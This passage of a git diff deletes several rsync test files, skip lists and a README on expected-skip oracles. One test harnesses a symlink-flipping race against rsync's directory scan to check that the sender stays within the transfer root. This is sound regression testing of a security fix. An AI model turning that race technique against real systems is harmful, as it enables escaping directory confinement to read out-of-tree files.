as a directory) before the recursive opendir of sub/, giving the flipper\n-# the scan phase to flip sub to a symlink.  The escape exists with incremental\n-# recursion too; this makes it reliably winnable within the budget.  Skip the\n-# flag on implementations that lack it (they default to the safer behaviour).\n-extra = ['--no-inc-recursive'] if rsync_supports('--no-inc-recursive') else []\n-\n-flip = start_path_flipper(src / 'sub', src / 'evil')\n-leak = None\n-deadline = time.monotonic() + race_budget()\n-try:\n-    while time.monotonic() < deadline and leak is None:\n-        rmtree(dest)\n-        dest.mkdir(parents=True)\n-        subprocess.run(rsync_argv('-a', *extra, f'{src}/', f'{dest}/'),\n-                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-        leak = escaped()\n-finally:\n-    stop_flipper(flip)\n-\n-if leak is not None:\n-    test_fail(\n-        \"source-tree directory-enumeration TOCTOU: the sender followed a \"\n-        \"parent-component symlink it should have confined and copied an \"\n-        f\"out-of-tree entry into the output ({leak}).  The directory scan's \"\n-        \"opendir(fbuf) (flist.c send_directory) must resolve beneath the \"\n-        \"transfer root, like the content open.\")\n-print(\"sender-scan-dir-escape: directory enumeration stayed within the transfer root\")\ndiff --git a/testsuite/simd-checksum_test.py b/testsuite/simd-checksum_test.py\ndeleted file mode 100644\nindex bae98d1..0000000\n--- a/testsuite/simd-checksum_test.py\n+++ /dev/null\n@@ -1,20 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/simd-checksum.test.\n-#\n-# Run the simdtest helper, which compares the SIMD checksum\n-# implementations against the C reference. Skip if the helper wasn't\n-# built (i.e. SIMD acceleration is unavailable on this host).\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import TOOLDIR, test_fail, test_skipped\n-\n-\n-simdtest = TOOLDIR / 'simdtest'\n-if not (simdtest.is_file() and os.access(simdtest, os.X_OK)):\n-    test_skipped(\"simdtest not built (SIMD not available)\")\n-\n-proc = subprocess.run([str(simdtest)])\n-if proc.returncode != 0:\n-    test_fail(f\"simdtest exited {proc.returncode}\")\ndiff --git a/testsuite/size-filter_test.py b/testsuite/size-filter_test.py\ndeleted file mode 100644\nindex 4fa3a50..0000000\n--- a/testsuite/size-filter_test.py\n+++ /dev/null\n@@ -1,54 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of --max-size / --min-size at depth.\n-\n-A small and a large file at every level; --max-size must transfer only the\n-small ones and --min-size only the large ones, the selection holding all the\n-way down the tree.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_not_exists, assert_same, make_data_file, rmtree, run_rsync,\n-)\n-\n-src = FROMDIR\n-SMALL = 500\n-LARGE = 5000\n-\n-\n-def seed():\n-    rmtree(src)\n-    rmtree(TODIR)\n-    cur = src\n-    for lvl in range(4):\n-        cur.mkdir(parents=True, exist_ok=True)\n-        make_data_file(cur / f'small{lvl}', SMALL)\n-        make_data_file(cur / f'large{lvl}', LARGE)\n-        cur = cur / f'd{lvl + 1}'\n-\n-\n-# --- --max-size keeps only the small files at every level -------------------\n-# Compare content (not just existence) so a kept file is proven to be the\n-# transferred source, not an empty/stale placeholder.\n-seed()\n-run_rsync('-a', '--max-size=1000', f'{src}/', f'{TODIR}/')\n-dcur, scur = TODIR, src\n-for lvl in range(4):\n-    assert_same(dcur / f'small{lvl}', scur / f'small{lvl}',\n-                label=f'--max-size kept small L{lvl}')\n-    assert_not_exists(dcur / f'large{lvl}', label=f'--max-size dropped large L{lvl}')\n-    dcur, scur = dcur / f'd{lvl + 1}', scur / f'd{lvl + 1}'\n-\n-# --- --min-size keeps only the large files at every level -------------------\n-seed()\n-run_rsync('-a', '--min-size=1000', f'{src}/', f'{TODIR}/')\n-dcur, scur = TODIR, src\n-for lvl in range(4):\n-    assert_same(dcur / f'large{lvl}', scur / f'large{lvl}',\n-                label=f'--min-size kept large L{lvl}')\n-    assert_not_exists(dcur / f'small{lvl}', label=f'--min-size dropped small L{lvl}')\n-    dcur, scur = dcur / f'd{lvl + 1}', scur / f'd{lvl + 1}'\n-\n-print(\"size-filter: --max-size / --min-size select correctly at depth\")\ndiff --git a/testsuite/skiplist-spec_test.py b/testsuite/skiplist-spec_test.py\ndeleted file mode 100644\nindex 2fe0dde..0000000\n--- a/testsuite/skiplist-spec_test.py\n+++ /dev/null\n@@ -1,174 +0,0 @@\n-#!/usr/bin/env python3\n-# runtests.py's RSYNC_EXPECT_SKIPPED parser.  The per-platform expected-skip\n-# lists live in testsuite/skiplist/*.txt and are referenced from the workflows\n-# as @FILE, so a bug here silently weakens the skip oracle on every CI job (an\n-# unreadable or truncated list must never read as \"expect no skips\").  Also\n-# checks that the committed lists themselves parse and are referenced.\n-\n-import importlib.util\n-import os\n-from pathlib import Path\n-\n-from rsyncfns import SCRATCHDIR, SRCDIR, test_fail\n-\n-# srcdir arrives relative under `make installcheck` (--srcdir=../src).  Resolve\n-# it once: paths built from it are handed back to a srcdir-relative API below,\n-# which would otherwise re-prefix them.\n-SRC = Path(SRCDIR).resolve()\n-\n-spec = importlib.util.spec_from_file_location('runtests', SRC / 'runtests.py')\n-runtests = importlib.util.module_from_spec(spec)\n-spec.loader.exec_module(runtests)\n-\n-SUITE = str(SRC / 'testsuite')\n-ERROR = f'exit:{runtests.Exit.ERROR}'\n-\n-\n-def expand(text_spec, srcdir=None, suitedir=None):\n-    \"\"\"expand_skip_spec, but reporting a SystemExit as a string.\"\"\"\n-    try:\n-        return runtests.expand_skip_spec(text_spec, srcdir or str(SRC),\n-                                         suitedir or SUITE)\n-    except SystemExit as e:\n-        return f'exit:{e.code}'\n-\n-\n-def write(name, body):\n-    p = SCRATCHDIR / name\n-    if isinstance(body, bytes):\n-        p.write_bytes(body)\n-    else:\n-        p.write_text(body)\n-    return '@' + str(p)\n-\n-\n-# A stand-in suite whose entries make each malformed name *look* real, so that\n-# removing the guard for it cannot be masked by the \"no such test\" check.\n-FAKE = SCRATCHDIR / 'fakesuite'\n-FAKE.mkdir(exist_ok=True)\n-(FAKE / 'acls sparse_test.py').write_text('')   # if the one-name-per-line\n-(FAKE / 'foo,bar_test.py').write_text('')       # ... comma and\n-(FAKE / 'adir_test.py').mkdir(exist_ok=True)    # ... regular-file guards went\n-\n-# --- a bad spec must be a hard error, never a silently smaller expectation --\n-#\n-# The sorted/duplicate cases use real test names in descending order, so that\n-# dropping the sort check cannot be masked by the stale-name check.\n-\n-for what, arg, suite in (\n-    ('missing file', '@testsuite/skiplist/does-not-exist.txt', None),\n-    ('unknown test name', 'no-such-test-here', None),\n-    ('unsorted list', write('unsorted.txt', 'sparse\\nacls\\n'), None),\n-    ('duplicate entry', write('dup.txt', 'acls\\nacls\\n'), None),\n-    ('stale name in a list', write('stale.txt', 'gone-away-test\\n'), None),\n-    ('empty file', write('empty.txt', ''), None),\n-    ('comments only', write('comments.txt', '# nothing here\\n\\n'), None),\n-    ('not valid text', write('binary.txt', b'acls\\n\\xff\\xfe not utf-8\\n'), None),\n-    ('empty entry', 'acls,,sparse', None),\n-    ('trailing comma', 'acls,', None),\n-    ('leading comma', ',acls', None),\n-    ('path in a name', '../testsuite/acls', None),\n-    ('two names on a line', write('twonames.txt', 'acls sparse\\n'), str(FAKE)),\n-    ('comma in a name', write('comma.txt', 'foo,bar\\n'), str(FAKE)),\n-    ('a directory, not a test', 'adir', str(FAKE)),\n-):\n-    got = expand(arg, suitedir=suite)\n-    if got != ERROR:\n-        test_fail(f'{what}: expected a hard error, got {got!r}')\n-\n-# --- good specs ------------------------------------------------------------\n-\n-one = write('one.txt', '# comment\\n\\nacls  # trailing comment\\nsparse\\n')\n-two = write('two.txt', 'devices\\nsparse\\n')\n-\n-for what, arg, want in (\n-    ('@FILE expansion', one, 'acls,sparse'),\n-    ('composing two lists', f'{one},{two}', 'acls,devices,sparse'),\n-    ('a bare name with @FILE', f'{one},crtimes', 'acls,crtimes,sparse'),\n-    ('an empty spec is \"no skips\"', '', ''),\n-):\n-    got = expand(arg)\n-    if got != want:\n-        test_fail(f'{what}: expected {want!r}, got {got!r}')\n-\n-# A relative @FILE resolves against srcdir, not the cwd: `make check` in an\n-# out-of-tree build directory would otherwise not find the lists.  srcdir is\n-# itself relative under `make installcheck` (--srcdir=../src), so check a\n-# non-trivial one too -- in-tree, os.path.relpath() would just be \".\".\n-got = expand('@testsuite/skiplist/common.txt', str(SRC))\n-if got.startswith('exit:') or not got:\n-    test_fail(f'relative @FILE did not resolve against srcdir: {got!r}')\n-\n-cwd = os.getcwd()\n-try:\n-    os.chdir(SRC.parent)\n-    got = expand('@testsuite/skiplist/common.txt', SRC.name)\n-finally:\n-    os.chdir(cwd)\n-if got.startswith('exit:') or not got:\n-    test_fail(f'@FILE did not resolve against a relative srcdir: {got!r}')\n-\n-# --- the committed lists ---------------------------------------------------\n-\n-# backport.txt is not an expected-skip list: it is an EXCLUDE list that a\n-# backport branch ships to say which of this suite's tests it cannot run, and\n-# fleettest reads it from the BUILT tree rather than from any workflow.  It only\n-# appears here when a backport tree has been overlaid with this suite, so it is\n-# exempt from the checks below that assume a workflow points at the file.\n-BACKPORT_LIST = 'backport.txt'\n-\n-lists = sorted(p for p in (SRC / 'testsuite' / 'skiplist').glob('*.txt')\n-               if p.name != BACKPORT_LIST)\n-if len(lists) < 5:\n-    test_fail(f'expected the per-platform skip lists, found {lists}')\n-for path in lists:\n-    got = expand('@' + str(path))\n-    if got.startswith('exit:') or not got:\n-        test_fail(f'{path.name} is empty or does not parse: {got!r} '\n-                  '(run runtests.py to see the diagnostic)')\n-\n-# Every workflow reference must expand, and every committed list must be\n-# referenced by some workflow -- a list nothing points at silently stops\n-# being enforced.\n-wf = sorted((SRC / '.github' / 'workflows').glob('*.yml'))\n-refs, referenced = 0, set()\n-for path in wf:\n-    for line in path.read_text().splitlines():\n-        if 'RSYNC_EXPECT_SKIPPED=' not in line:\n-            continue\n-        arg = line.split('RSYNC_EXPECT_SKIPPED=', 1)[1].split()[0]\n-        got = expand(arg)\n-        if got.startswith('exit:') or not got:\n-            test_fail(f'{path.name}: unusable RSYNC_EXPECT_SKIPPED spec {arg!r}')\n-        refs += 1\n-        for tok in arg.split(','):\n-            if tok.startswith('@'):\n-                referenced.add(Path(tok[1:]).name)\n-if wf:\n-    if refs == 0:\n-        test_fail('no workflow references RSYNC_EXPECT_SKIPPED any more')\n-    orphans = sorted({p.name for p in lists} - referenced)\n-    if orphans:\n-        test_fail(f'skip lists no workflow references: {\", \".join(orphans)}')\n-# '-name' removals.  fleettest emits these for a host that can genuinely run a\n-# test its platform list expects to skip; the name being dropped lives inside an\n-# @FILE, so no composer can subtract it before runtests expands the spec.\n-common = SRC / 'testsuite' / 'skiplist' / 'common.txt'\n-if common.is_file():\n-    full = expand('@' + str(common))\n-    victim = full.split(',')[0]\n-    got = expand(f'@{common},-{victim}')\n-    if got == full or victim in got.split(','):\n-        test_fail(f'-{victim} did not remove it from the expanded list')\n-    if len(got.split(',')) != len(full.split(',')) - 1:\n-        test_fail(f'-{victim} removed more than the one name')\n-    # Order must not matter: removals apply after every addition.\n-    if expand(f'-{victim},@{common}') != got:\n-        test_fail('a removal before the list it removes from behaved differently')\n-    # A removal that removes nothing is stale, and shrinking the expected set\n-    # quietly is the whole failure mode this parser exists to prevent.\n-    for stale in (f'@{common},-no-such-test-here', f'@{common},-{victim},-{victim}'):\n-        if expand(stale) != ERROR:\n-            test_fail(f'a stale removal was accepted: {stale!r}')\n-\n-print(f'ok: {len(lists)} skip lists, {refs} workflow references')\ndiff --git a/testsuite/skiplist/README.md b/testsuite/skiplist/README.md\ndeleted file mode 100644\nindex b7bfbe7..0000000\n--- a/testsuite/skiplist/README.md\n+++ /dev/null\n@@ -1,118 +0,0 @@\n-# Expected-skip lists\n-\n-`runtests.py` checks, on a full run, that the set of tests which skipped is\n-*exactly* the set that was expected. That oracle is what stops a test from\n-quietly turning into a permanent no-op: if a test starts skipping (a probe\n-regresses, a helper goes missing) the run fails instead of reporting green.\n-\n-The expected set is passed in `RSYNC_EXPECT_SKIPPED`. It used to be one huge\n-comma-separated line per CI job, duplicated across seven workflow steps, which\n-meant every branch that added a skipping test edited the same line in the same\n-files and conflicted with every other such branch. The lists now live here, one\n-test name per line, and a workflow step references them:\n-\n-```yaml\n-run: RSYNC_EXPECT_SKIPPED=@testsuite/skiplist/common.txt,@testsuite/skiplist/linux.txt make check\n-```\n-\n-Adding a test therefore touches one line of one file, and two branches adding\n-different tests merge cleanly.\n-\n-## Files\n-\n-| file | contents |\n-| --- | --- |\n-| `common.txt` | skipped on every platform that runs the oracle — mostly `require_tcp` / `require_asan` tests, which the default stdio-pipe `make check` cannot satisfy |\n-| `linux.txt` | Linux-only additions |\n-| `macos.txt` | macOS-only additions |\n-| `cygwin.txt` | Cygwin-only additions |\n-| `proto29.txt` | additions for a `--protocol=29` run, on any platform |\n-| `proto30.txt` | additions for a `--protocol=30` run, on any platform |\n-\n-Compose them with commas; the result is the union, so listing a test twice is\n-harmless. Plain test names may be mixed in with `@FILE` entries.\n-\n-## Format rules\n-\n-One test name per line. `#` starts a comment; a trailing `# reason` is\n-encouraged — it is the only place the reason for the expectation is recorded.\n-Each file must be **sorted and duplicate-free**, and every name must be a plain\n-test name matching a real `testsuite/<name>_test.py`. Sorting is not cosmetic:\n-it is what makes two independent additions land on different lines.\n-\n-`runtests.py` exits 2 on anything malformed — an unreadable file, an empty or\n-comment-only one, an empty entry (`a,,b`, which is what an unset variable\n-expands to), an unsorted or duplicated name, a stale name. The set comparison\n-is exact, so a truncated list would not pass unnoticed; it would surface as a\n-page of \"unexpected skips\" naming every test the list lost, which reads like a\n-suite-wide regression rather than a bad list. Failing at the source says what\n-actually happened. A wholly empty `RSYNC_EXPECT_SKIPPED` is still the\n-legitimate \"expect no skips at all\".\n-\n-Relative `@FILE` paths resolve against `srcdir`, so out-of-tree builds and\n-`make installcheck` work.\n-\n-## Changing a list\n-\n-If a test newly skips on a platform, prefer fixing the test so it does not skip.\n-When the skip is legitimate, add the name to the narrowest file that fits, with\n-a reason. Do not paper over a mismatch by adding a name you cannot explain — an\n-unexpected skip is usually a real regression in that test's setup.\n-\n-`testsuite/fleettest.py` reads these same lists (through each target's\n-workflow), and merges per-box `expect_skip_extra` from `fleettest.json` on top\n-for facts that are true of one machine rather than one platform.\n-\n-Fleet takes each pass's spec from the workflow step of the same name, so a\n-target with `\"protocols\": [29]` is only pinned if its workflow actually has a\n-`make check29` step composing `proto29.txt`. Today only the Ubuntu workflows\n-do; a macOS or Cygwin target set to run protocol 29 gets no expected-skip\n-oracle for that pass rather than a wrong one.\n-\n-## `backport.txt` — a different thing in the same directory\n-\n-A backport branch (`v3.4.1-sec-patches3`, `v3.2.7-sec-patches3`) is tested with\n-a NEWER suite than it shipped with, via\n-`fleettest.py --repo <backport> --testsuite-repo <3.5.0>`. Such a tree cannot\n-pass tests for fixes it does not carry, and cannot build unit-test helpers its\n-Makefile has never heard of.\n-\n-Those branches each carry their own `testsuite/skiplist/backport.txt`. It is\n-**not** an expected-skip list:\n-\n-* the other files here are `RSYNC_EXPECT_SKIPPED` oracles — \"these should skip,\n-  tell me if that changes\";\n-* `backport.txt` is an `RSYNC_EXCLUDE` list — \"do not run these at all\".\n-\n-It has to be an exclusion because some of the tests *fail* rather than skip on\n-an older tree, and an expected-skip list cannot describe a failure.\n-\n-`fleettest.py` reads it from the tree being BUILT (`--repo`), not from the tree\n-providing the suite, because only the built tree knows what it lacks. The\n-overlay that puts a newer `testsuite/` onto an older tree is a merge with no\n-delete, so a file that exists only on the backport survives it.\n-\n-`skiplist-spec` exempts this name from the rule that every committed list must\n-be referenced by a workflow: nothing references it, by design.\n-\n-### Accepted breakage vs absent features\n-\n-`backport.txt` holds two different kinds of entry, and they must stay\n-distinguishable:\n-\n-* **absent** — a fix, feature or helper the branch does not have. The test\n-  could never pass and is not telling you anything.\n-* **accepted breakage** — a real defect on that branch that we have chosen to\n-  ship. The test *was* telling you something, and excluding it is a decision\n-  rather than bookkeeping.\n-\n-Keep the second kind in its own commented section naming the defect and where\n-it is written up. `v3.2.7-sec-patches3` has one today\n-(`fake-super-acl-xattr`, the `--remote-option` local-transfer bug). A list that\n-does not distinguish them turns \"we know about this and accepted it\" into \"this\n-test never applied here\" within about one release.\n-\n-**CI for the backport branches**, when it is set up to run this suite against\n-them, has to honour these lists the same way `fleettest.py` does — read\n-`backport.txt` from the branch being built and pass it as `RSYNC_EXCLUDE`.\n-A CI job that does not will fail on every one of these and be turned off.\ndiff --git a/testsuite/skiplist/common.txt b/testsuite/skiplist/common.txt\ndeleted file mode 100644\nindex 9517cf1..0000000\n--- a/testsuite/skiplist/common.txt\n+++ /dev/null\n@@ -1,63 +0,0 @@\n-# Tests expected to SKIP.  One name per line, '#' starts a comment; the file\n-# must stay sorted and duplicate-free (runtests.py enforces both).  Referenced\n-# from a workflow as RSYNC_EXPECT_SKIPPED=@testsuite/skiplist/<file>[,@...].\n-# See testsuite/skiplist/README.md.\n-#\n-# Skipped on every platform that runs the oracle (Linux, macOS, Cygwin).\n-# Mostly tests that need the real-TCP transport (require_tcp) or an ASan\n-# build (require_asan), neither of which the default `make check` provides.\n-# Reasons below are the ones this box reported; another platform may skip\n-# the same test earlier for a different reason.\n-\n-checksum-zero-blocklen  # the pure-Python receiver needs a real TCP socket; run with --use-tcp\n-chroot-basis-forge-inner-module  # the pure-Python sender needs a real TCP daemon; run with --use-tcp\n-daemon-access-hostname  # IPv6 hostname access matching needs a real TCP peer\n-daemon-access-idn  # hosts allow/deny hostname matching needs a real TCP peer\n-daemon-access-ip  # hosts allow/deny address matching needs a real TCP peer\n-daemon-argv-limit  # raw malicious daemon client needs a real TCP daemon; run with --use-tcp\n-daemon-chroot  # daemon chroot path needs the real start_daemon socket flow\n-daemon-chroot-acl  # needs a real TCP peer address for reverse-DNS hostname ACL; run with --use-tcp\n-daemon-deny-dns-failopen  # hosts deny DNS-failure matching needs a real TCP peer\n-daemon-dot-file-force-wipe  # the malicious daemon client needs a real TCP socket; run with --use-tcp\n-daemon-handshake-timeout  # stalling the pre-transfer handshake needs a real listening socket; run with --use-tcp\n-daemon-http-proxy  # RSYNC_PROXY uses open_socket_out(), needs a real TCP connect\n-daemon-leaf-type-race-fchmod  # leaf-type authority proof currently requires Darwin\n-daemon-module-options  # motd/socket-options need a real socket\n-daemon-namecvt-empty-response  # namecvt-empty-response test must run as a non-root user (sender uid/gid must differ from 0 to expose the bug)\n-daemon-namecvt-newline-token  # the pure-Python sender needs a real TCP daemon; run with --use-tcp\n-daemon-proxy-protocol  # PROXY-protocol header is read from a real TCP socket; run with --use-tcp\n-daemon-refuse-compress-threads-alias  # the malicious receiver needs a real TCP daemon; run with --use-tcp\n-daemon-standalone-detach  # standalone detaching daemon opens a real loopback listener; run with --use-tcp\n-daemon-symlink-escape-matrix  # the daemon symlink-resolution flow needs a real TCP peer\n-daemon-zstd-thread-exhaustion  # the malicious receiver needs a real TCP daemon; run with --use-tcp\n-exclude-implied-trailing-backslash  # a real network rsync daemon is needed (am_server==0 per-module); run with --use-tcp\n-inband-modname-leak  # the daemon @ERROR handshake needs a real TCP peer\n-io-noop-flood-recursion  # the pure-Python client needs a real TCP daemon; run with --use-tcp\n-io-nosend-flood-recursion  # the pure-Python client needs a real TCP daemon; run with --use-tcp\n-io-readargs-argv-nullwrite  # the pure-Python client needs a real TCP daemon; run with --use-tcp\n-ki62-io-error-mask  # needs --use-tcp to kill the daemon (sender) mid-transfer\n-macos-setgid-ordinary-mode-regression  # macOS-specific fchmodat setgid behavior\n-malicious-dot-dir-delete-scope  # the malicious sender needs a real TCP socket; run with --use-tcp\n-malicious-dot-file-delete-scope  # the malicious sender needs a real TCP socket; run with --use-tcp\n-malicious-server-partial-basis-symlink-overwrite  # the malicious sender needs a real TCP socket; run with --use-tcp\n-match-append-empty-nullmap  # the pure-Python generator needs a real TCP daemon; run with --use-tcp\n-match-want-i-nolen  # the pure-Python generator needs a real TCP daemon; run with --use-tcp\n-peer-legacy-implied-delete-scope  # the malicious protocol-29 server needs TCP; run with --use-tcp\n-proto-cleared-dirflist  # the pure-Python sender needs a real TCP daemon; run with --use-tcp\n-proto-cleared-ndx  # the pure-Python sender needs a real TCP daemon; run with --use-tcp\n-proto-hlink-flag-oob  # the pure-Python sender needs a real TCP daemon; run with --use-tcp\n-proto-hlink-gnum  # the pure-Python sender needs a real TCP daemon; run with --use-tcp\n-proto-msg-info-assert  # the pure-Python sender needs a real TCP daemon; run with --use-tcp\n-proto-parent-ndx-empty-dirflist  # the pure-Python sender needs a real TCP daemon; run with --use-tcp\n-proto-sender-selftest  # the pure-Python sender needs a real TCP daemon; run with --use-tcp\n-proto-subflist-freed  # the pure-Python sender needs a real TCP daemon; run with --use-tcp\n-proxy-connect-request-too-long  # fake-proxy listener needs a real TCP socket; run with --use-tcp\n-proxy-protocol-trusted-peer  # PROXY protocol peer policy needs a real TCP daemon; run with --use-tcp\n-proxy-response-header-too-long  # fake-proxy listener needs a real TCP socket; run with --use-tcp\n-proxy-response-line-too-long  # fake-proxy listener needs a real TCP socket; run with --use-tcp\n-recv-discard-nullderef  # root bypasses DAC: the unwritable dest dir wouldn't make the receiver's mkstemp fail, so the discard path (and the bug) is never reached\n-recv-generator-acl-leak  # KI-23 real_sx ACL leak is only observable under AddressSanitizer/LSan\n-uidlist-id0-name-leak  # KI-25 id-0 name leak is only observable under AddressSanitizer/LSan\n-variety-symlink-traversal  # no old peer selected (RSYNC_PEER == RSYNC); nothing to compare for symlink-traversal divergence\n-xattr-wire-cap  # the pure-Python daemon needs a real TCP socket; run with --use-tcp\n-xrsync  # xrsync speaks the daemon protocol over a raw TCP socket; run with --use-tcp\ndiff --git a/testsuite/skiplist/cygwin.txt b/testsuite/skiplist/cygwin.txt\ndeleted file mode 100644\nindex 643aec3..0000000\n--- a/testsuite/skiplist/cygwin.txt\n+++ /dev/null\n@@ -1,76 +0,0 @@\n-# Tests expected to SKIP.  One name per line, '#' starts a comment; the file\n-# must stay sorted and duplicate-free (runtests.py enforces both).  Referenced\n-# from a workflow as RSYNC_EXPECT_SKIPPED=@testsuite/skiplist/<file>[,@...].\n-# See testsuite/skiplist/README.md.\n-#\n-# Cygwin-only additions to common.txt.\n-\n-acl-symlink-race\n-acls\n-acls-default\n-acls-depth\n-acls-unpinnable\n-append-abort-mid-write  # the mid-write hook is an LD_PRELOAD, Linux-only\n-backup-acl-xattr-cache\n-backup-dir-symlink-race\n-basis-xname-traversal\n-batch-file-symlink\n-chown\n-chroot-alt-dest-inner-module\n-chroot-copy-dest-inner-module\n-chroot-link-dest-inner-module\n-chroot-receiver-write-inner-module\n-chroot-special-inner-module\n-copy-dest-symlink-readleak\n-copy-xattrs-symlink-race\n-daemon-auth-group\n-daemon-chroot-munge-default\n-daemon-config-symlink\n-daemon-module-chdir-symlink\n-daemon-module-private-parent\n-daemon-secrets-file-symlink\n-daemon-stdin-local-socket             # Cygwin Python has no AF_UNIX socketpair\n-daemon-stdin-unix-listener            # Cygwin cannot pass a named AF_UNIX listener as daemon stdin\n-devices\n-dir-sgid\n-early-input-symlink\n-excludefrom-symlink\n-fake-super-acl-xattr\n-fake-super-backup-fifo-regression\n-files-from-leak\n-filter-leak\n-filter-merge-symlink\n-hardlinks-emlink-recovery                # LD_PRELOAD hook\n-insecure-links-admin-optout\n-link-dest-symlink-enotsup                # the ENOTSUP hard-link hook is an LD_PRELOAD, Linux-only\n-log-file-symlink\n-msg-io-timeout-overflow\n-nondaemon-symlink-race\n-nonroot-restrictive-perms\n-open-noatime\n-operator-path-backup-rmdir\n-operator-path-backup-symlink\n-operator-path-insecure-links-daemon\n-partial-protected-regular-retry-linux\n-partial-protected-regular-retry-policy  # deterministic partial EACCES recovery uses dyld interposing\n-password-file-symlink\n-protected-regular\n-pseudo-paths\n-pseudo-paths-daemon\n-read-batch-pipe\n-rename-mixed-parent-transfer\n-rrsync-receiver-file-arg\n-rrsync-sender-leaf-flip\n-rrsync-sender-parent-pin\n-rrsync-symlink\n-rrsync-userns-procfs\n-search-only-destination\n-search-only-held-dirfd\n-sender-remove-source-root-anchor\n-simd-checksum\n-source-change-size-continues\n-symlink-dest-backupdir\n-symlink-race-dest\n-symlink-race-relative-dest\n-symlink-unix-perms  # platform does not support changing symlink permissions\n-temp-dir-symlink-injection\ndiff --git a/testsuite/skiplist/linux.txt b/testsuite/skiplist/linux.txt\ndeleted file mode 100644\nindex d9c5434..0000000\n--- a/testsuite/skiplist/linux.txt\n+++ /dev/null\n@@ -1,11 +0,0 @@\n-# Tests expected to SKIP.  One name per line, '#' starts a comment; the file\n-# must stay sorted and duplicate-free (runtests.py enforces both).  Referenced\n-# from a workflow as RSYNC_EXPECT_SKIPPED=@testsuite/skiplist/<file>[,@...].\n-# See testsuite/skiplist/README.md.\n-#\n-# Linux-only additions to common.txt.\n-\n-crtimes  # Rsync is configured without crtimes support\n-partial-protected-regular-retry-policy  # deterministic partial EACCES recovery uses dyld interposing\n-readonly-partial-abort-mode-regression  # \n-symlink-unix-perms  # platform does not support changing symlink permissions\ndiff --git a/testsuite/skiplist/macos.txt b/testsuite/skiplist/macos.txt\ndeleted file mode 100644\nindex 1311c90..0000000\n--- a/testsuite/skiplist/macos.txt\n+++ /dev/null\n@@ -1,41 +0,0 @@\n-# Tests expected to SKIP.  One name per line, '#' starts a comment; the file\n-# must stay sorted and duplicate-free (runtests.py enforces both).  Referenced\n-# from a workflow as RSYNC_EXPECT_SKIPPED=@testsuite/skiplist/<file>[,@...].\n-# See testsuite/skiplist/README.md.\n-#\n-# macOS-only additions to common.txt.\n-\n-acl-symlink-race\n-acls-default\n-acls-depth\n-acls-unpinnable\n-append-abort-mid-write  # the mid-write hook is an LD_PRELOAD, Linux-only\n-backup-acl-xattr-cache\n-backup-crossdev-copy\n-chmod-temp-dir\n-copy-xattrs-symlink-race\n-daemon-auth-group\n-dir-sgid\n-fake-super-acl-xattr\n-hardlinks-emlink-recovery                # LD_PRELOAD hook\n-link-dest-symlink-enotsup                # the ENOTSUP hard-link hook is an LD_PRELOAD, Linux-only\n-open-noatime\n-partial-protected-regular-retry-linux\n-preallocate\n-protected-regular\n-pseudo-paths  # Linux-only: procfs pseudo-paths\n-pseudo-paths-daemon\n-read-batch-pipe\n-readonly-partial-abort-mode-regression  # \n-rrsync-receiver-file-arg\n-rrsync-sender-leaf-flip\n-rrsync-sender-parent-pin\n-rrsync-symlink\n-rrsync-userns-procfs\n-search-only-destination\n-search-only-held-dirfd\n-sender-remove-source-root-anchor\n-simd-checksum\n-source-change-size-continues\n-sparse\n-symlink-exclude-xattr\ndiff --git a/testsuite/skiplist/proto29.txt b/testsuite/skiplist/proto29.txt\ndeleted file mode 100644\nindex 9ce0101..0000000\n--- a/testsuite/skiplist/proto29.txt\n+++ /dev/null\n@@ -1,17 +0,0 @@\n-# Tests expected to SKIP.  One name per line, '#' starts a comment; the file\n-# must stay sorted and duplicate-free (runtests.py enforces both).  Referenced\n-# from a workflow as RSYNC_EXPECT_SKIPPED=@testsuite/skiplist/<file>[,@...].\n-# See testsuite/skiplist/README.md.\n-#\n-# Additions for a --protocol=29 run (make check29), on top of the platform\n-# files.  These tests transfer something the 29 wire format cannot carry\n-# (ACLs, xattrs) or drive a helper that speaks 30+, so they gate on the\n-# protocol regardless of platform.\n-\n-acl-symlink-race  # ACL transfer requires protocol 30+ (negotiated 29)\n-acls-unpinnable  # ACL transfer requires protocol 30+ (negotiated 29)\n-daemon-copylinks-parent-target-regression  # the stdio_daemon client speaks protocol 30 (forced 29)\n-partial-protected-regular-retry-linux  # one-inplace partial staging needs protocol >= 30 (forced 29)\n-scanner-batch-flag-mismatch  # xattrs (-X) need protocol 30+\n-symlink-exclude-xattr  # xattr (-X) transfer requires protocol 30+ (negotiated 29)\n-write-touched-blocks  # logical-block statistics require protocol 33+ (forced 29)\ndiff --git a/testsuite/skiplist/proto30.txt b/testsuite/skiplist/proto30.txt\ndeleted file mode 100644\nindex f3575cf..0000000\n--- a/testsuite/skiplist/proto30.txt\n+++ /dev/null\n@@ -1,9 +0,0 @@\n-# Tests expected to SKIP.  One name per line, '#' starts a comment; the file\n-# must stay sorted and duplicate-free (runtests.py enforces both).  Referenced\n-# from a workflow as RSYNC_EXPECT_SKIPPED=@testsuite/skiplist/<file>[,@...].\n-# See testsuite/skiplist/README.md.\n-#\n-# Additions for a --protocol=30 run (make check30), on top of the platform\n-# files.\n-\n-write-touched-blocks  # logical-block statistics require protocol 33+ (forced 30)\ndiff --git a/testsuite/source-change-size-continues_test.py b/testsuite/source-change-size-continues_test.py\ndeleted file mode 100644\nindex 314784a..0000000\n--- a/testsuite/source-change-size-continues_test.py\n+++ /dev/null\n@@ -1,213 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression guard for a source file changing size during send_files().\n-#\n-# The sender hardening for source reads now opens content through the confined\n-# sender path instead of the old plain open.  A source file can still change\n-# after the file list recorded its original size and after send_files() fstat()s\n-# the opened fd.  That per-file read failure may be diagnosed as a partial\n-# transfer, but it must not abort the sender/receiver pair before unrelated\n-# later file-list entries are transferred.\n-#\n-# To avoid a timing race, this test runs rsync under a scratch-built LD_PRELOAD\n-# shim.  The shim watches the exact source fd via /proc/self/fd and truncates it\n-# immediately before the first read() from that fd.  This leaves the file-list\n-# and send_files() fstat() sizes at the original value, then deterministically\n-# exercises fileio.c's \"file changed mid transfer\" map_ptr() path.\n-\n-import os\n-import shlex\n-import shutil\n-import subprocess\n-import sys\n-\n-from rsyncfns import (\n-    RSYNC, SCRATCHDIR, assert_same, make_data_file, makepath, rmtree,\n-    rsync_argv, test_fail, test_skipped, split_rsync_cmd,\n-)\n-\n-\n-SHIM_C = r'''\n-#define 